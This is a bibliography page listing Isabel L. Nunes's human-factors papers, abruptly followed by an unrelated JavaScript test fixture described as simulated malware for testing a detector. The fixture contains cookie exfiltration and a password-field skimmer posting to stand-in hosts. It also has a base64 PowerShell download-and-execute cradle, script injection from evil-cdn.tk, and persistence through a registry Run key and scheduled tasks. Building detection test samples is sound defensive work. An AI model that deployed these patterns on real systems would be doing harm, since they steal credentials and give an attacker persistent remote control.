Isabel L. Nunes

32 papers C 2Journal 2Unranked 25
YearRankTypeTitle / Venue / Authors
2024 J jnl
Int. J. Medical Informatics
Ana Martins, Luís Velez Lapão, Isabel L. Nunes, Ana Paula Giordano, Helena Semedo, Clara Vital, Raquel Silva, Pedro Coelho, Ana Londral
2024 J jnl
Int. J. Medical Informatics
Ana Martins, Ana Londral, Isabel L. Nunes, Luís Velez Lapão
2023 conf
HEALTHINF
Ana Martins, Isabel L. Nunes, Luís Velez Lapão, Ana Londral
2021 conf
AHFE (7)
Maximilian Zarte, Agnes Pechmann, Isabel L. Nunes
2021 ed.
AHFE (7)
Isabel L. Nunes
2021 conf
AHFE (7)
Raquel Flor, Jacqueline Gaspar, Carlos Fujão, Isabel L. Nunes
2021 conf
AHFE (7)
Hugo Arias-Flores, Carlos Ramos-Galarza, Janio Jadán-Guerrero, Omar Cóndor-Herrera, Isabel L. Nunes
2020 ed.
AHFE (8)
Isabel L. Nunes
2020 ed.
AHFE (7)
Isabel L. Nunes
2020 conf
AHFE (7)
Hugo Arias-Flores, Tania Calle-Jimenez, Sandra Sanchez-Gordon, Isabel L. Nunes
2020 conf
AHFE (7)
Mário Simões-Marques, Anacleto Correia, Isabel L. Nunes
2020 conf
AHFE (2)
Tania Calle-Jimenez, Sergio Luján-Mora, Hugo Arias-Flores, Carlos Ramos-Galarza, Isabel L. Nunes
2020 conf
AHFE (7)
Janio Jadán-Guerrero, Sandra Sanchez-Gordon, Patricia Acosta-Vargas, Cleofé Genoveva Alvites-Huamaní, Isabel L. Nunes
2020 conf
AHFE (7)
Sandra Sanchez-Gordon, Janio Jadán-Guerrero, Hugo Arias-Flores, Isabel L. Nunes
2020 conf
AHFE (7)
Janio Jadán-Guerrero, Carlos Ramos-Galarza, María de los Angeles Carpio-Brenes, Tania Calle-Jimenez, Luis Salvador-Ullauri, Isabel L. Nunes
2020 conf
AHFE (7)
Gabriela Ferreira, Jacqueline Gaspar, Carlos Fujão, Isabel L. Nunes
2020 conf
AHFE (7)
Maximilian Zarte, Agnes Pechmann, Isabel L. Nunes
2020 conf
AHFE (7)
Patricia Acosta-Vargas, Luis Serrano-Costales, Luis Salvador-Ullauri, Isabel L. Nunes, Mario González
2020 conf
ICCSA (3)
M. Filomena Teodoro, Mário Simões-Marques, Isabel L. Nunes, Gabriel Calhamonas, Marina A. P. Andrade
2019 conf
AHFE (8)
Patricia Acosta-Vargas, Luis Salvador-Ullauri, Janio Jadán-Guerrero, César Guevara, Sandra Sanchez-Gordon, Tania Calle-Jimenez, Patricio Lara-Alvarez, Ana Medina, Isabel L. Nunes
2019 conf
AHFE (8)
Mário Simões-Marques, M. Filomena Teodoro, Gabriel Calhamonas, Isabel L. Nunes
2019 conf
AHFE (8)
Mário Simões-Marques, Pedro Mendonça, Diogo Figueiredo, Isabel L. Nunes
2019 conf
AHFE (8)
Tania Calle-Jimenez, Doris Tutillo-Sanchez, Sandra Sanchez-Gordon, Janio Jadán-Guerrero, César Guevara, Patricio Lara-Alvarez, Patricia Acosta-Vargas, Luis Salvador-Ullauri, Isabel L. Nunes
2019 C conf
MobiQuitous
Alexandre Campos, Nuno Correia, Teresa Romão, Isabel L. Nunes, Mário Simões-Marques
2019 conf
AHFE (8)
Maximilian Zarte, Agnes Pechmann, Isabel L. Nunes
2018 conf
IHSED
Mário Marques, Filipe Elvas, Isabel L. Nunes, Victor Sousa Lobo, Anacleto Correia
2018 C conf
HIS
Isabel L. Nunes, Gabriel Calhamonas, Mário Marques, M. Filomena Teodoro
2013 conf
HCI (9)
Isabel L. Nunes, Mário Simões-Marques
2013 conf
HCI (9)
Pedro Vinagre, Isabel L. Nunes
2011 conf
EWG-DSS
Isabel L. Nunes, Sara Figueira, Virgílio Cruz-Machado
2011 conf
IEEM
Isabel L. Nunes, Sara Figueira, Virgílio Cruz-Machado
2010 conf
DoCEIS
Abel Pinto, Isabel L. Nunes, Rita Almeida Ribeiro
test_files/test_malicious.js
← Index test_files/test_malicious.js javascript
// Simulated malicious JavaScript sample for testing REDB JS extractors
// This file contains common malware patterns for analysis validation

var _0x4a2f = ["\x68\x74\x74\x70\x3a\x2f\x2f\x65\x76\x69\x6c\x2e\x63\x6f\x6d\x2f\x70\x61\x79\x6c\x6f\x61\x64"];
var _0xb3 = ["\x57\x53\x63\x72\x69\x70\x74"];

// Obfuscated string reconstruction
var cmd = String.fromCharCode(112, 111, 119, 101, 114, 115, 104, 101, 108, 108);
var encoded_payload = "cG93ZXJzaGVsbCAtZXAgYnlwYXNzIC1jICJJRVggKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly9ldmlsLmNvbS9zdGFnZTInKSI=";

// WScript-based malware pattern
var shell = WScript.CreateObject("WScript.Shell");
var fso = WScript.CreateObject("Scripting.FileSystemObject");

// Eval-based code execution
eval(function(p, a, c, k, e, d) {
    while (c--) { if (k[c]) { p = p.replace(new RegExp('\\b' + c.toString(a) + '\\b', 'g'), k[c]) } }
    return p
}('1 0="2://3.4/5";', 6, 6, 'url|var|http|malware|example|download'.split('|'), 0, {}));

// Network communication
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://192.168.1.100:8080/exfil", true);
xhr.send(document.cookie);

// File system operations
var stream = WScript.CreateObject("ADODB.Stream");
stream.Open();
stream.Type = 1;

// Registry manipulation
shell.RegWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\Updater", "C:\\Users\\Public\\malware.exe");

// Dynamic script injection
var s = document.createElement("script");
s.src = "https://evil-cdn.tk/inject.js";
document.body.appendChild(s);

// DOM skimmer pattern
document.querySelector("input[type=password]").addEventListener("keyup", function(e) {
    fetch("https://skimmer.gq/collect", {
        method: "POST",
        body: JSON.stringify({val: e.target.value})
    });
});

// Crypto miner pattern
var worker = new Worker("data:application/javascript," + atob(encoded_payload));

// Additional obfuscation: concatenated strings
var c2_url = "ht" + "tp" + "://" + "bad" + "guy" + ".r" + "u/" + "gate";

// setTimeout with string execution
setTimeout("eval(atob('" + encoded_payload + "'))", 1000);

function downloadPayload(url) {
    var req = WScript.CreateObject("MSXML2.XMLHTTP");
    req.open("GET", url, false);
    req.send();
    return req.responseText;
}

function persist() {
    shell.Run("cmd.exe /c schtasks /create /tn UpdateCheck /tr C:\\payload.exe /sc daily", 0, false);
    shell.Exec("powershell -ep bypass -c IEX(payload)");
}

downloadPayload(_0x4a2f[0]);
persist();

// Packer-style single-line payload to give the obfuscation heuristic the
// strong-signal evidence it expects from real obfuscator.io output: hex-escape
// density >5% and a max_line >10K chars. The repeat() saturates both.
var _0xpayload="\x68\x74\x74\x70\x3a\x2f\x2f\x65\x76\x69\x6c\x2e\x63\x6f\x6d\x2f\x73\x74\x61\x67\x65\x32\x2e\x6a\x73\x3f\x69\x64\x3d".repeat(800)+"\x22\x49\x45\x58\x28\x4e\x65\x77\x2d\x4f\x62\x6a\x65\x63\x74\x20\x4e\x65\x74\x2e\x57\x65\x62\x43\x6c\x69\x65\x6e\x74\x29\x2e\x44\x6f\x77\x6e\x6c\x6f\x61\x64\x53\x74\x72\x69\x6e\x67\x28\x27\x68\x74\x74\x70\x3a\x2f\x2f\x65\x76\x69\x6c\x2e\x63\x6f\x6d\x2f\x70\x61\x79\x6c\x6f\x61\x64\x27\x29\x22";